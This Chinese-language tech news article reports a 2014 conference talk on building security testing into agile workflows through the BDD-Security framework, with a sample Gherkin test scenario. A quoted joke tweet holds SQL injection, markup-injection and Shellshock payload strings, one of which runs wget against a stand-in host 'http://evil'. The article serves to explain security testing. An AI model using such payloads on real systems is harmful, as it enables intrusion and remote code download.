ContinuumSecurity創(chuàng)始人Stephen de Vries，在Velocity Europe 2014大會上提出了持續(xù)且可視化的
安全測試的觀點。Stephen表示，那些在
敏捷開發(fā)過程中用于將QA嵌入整個開發(fā)流程的方法和工具都能同樣的用于安全測試。BDD-Security是一個基于JBehave，且遵循Given-When-Then方法的安全測試框架。
傳統(tǒng)的安全測試都遵循瀑布流程，也就是說安全團隊總是在開發(fā)階段的末期才參與進來，并且通常需要外部專家的幫助。在整個開發(fā)流程中，滲透測試總是被安排到很晚才做，使得為應用做安全防范的任務尤其困難且復雜。Stephen認為安全測試完全可以變得像QA一樣：每個人都對安全問題負責；安全問題可以在更接近代碼的層面考慮；安全測試完全可以嵌入一個持續(xù)集成的開發(fā)過程中。
為了論證QA和安全測試只有量的區(qū)別而沒有質(zhì)的區(qū)別，Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特：
從QA的角度：
QA工程師走進一家酒吧，點了一杯啤酒；點了0杯啤酒；點了999999999杯啤酒；點了一只蜥蜴；點了-1杯啤酒；點了一個sfdeljknesv。
從安全的角度：
滲透測試工程師走進一家酒吧，點了一杯啤酒；點了”>杯啤酒；點了’or 1=1-杯啤酒；點了() { :; }; wget -O /beers http://evil; /杯啤酒。 要將安全測試集成進敏捷開發(fā)流程中，首先需要滿足的條件是：可見性，以便采取及時應對措施并修補；可測試性，以便于自動化，比僅僅簡單的掃描更有價值。Stephen發(fā)現(xiàn)BDD工具族就同時滿足了可見性及可測試性，因此他開始著手構建BDD-Security安全測試框架。
由于BDD-Security是基于JBehave構建的，因此它使用BDD的標準說明語言Gherkin。一個BDD-Security測試場景如下：
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著：
本框架的架構設計使得安全用例故事與應用的特定導航邏輯相互獨立，這意味著同一個用戶故事僅需要做微小的改動就能用在多個應用中，有時甚至無需修改。
這也說明BDD-Security框架認為對許多應用來說，有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應用——也就是導航邏輯中即可。當然，必要的時候你也完全可以編寫自己的用戶故事。
BDD-Security依賴于第三方安全測試工具來執(zhí)行具體的安全相關的行為，例如應用掃描。這些工具有OWASP ZAP或Nessus等。
Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡單的工具，不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似，同樣支持BDD，只是它使用的編程語言是
Ruby。Mittn用
Python編寫并且同樣也使用Gherkin。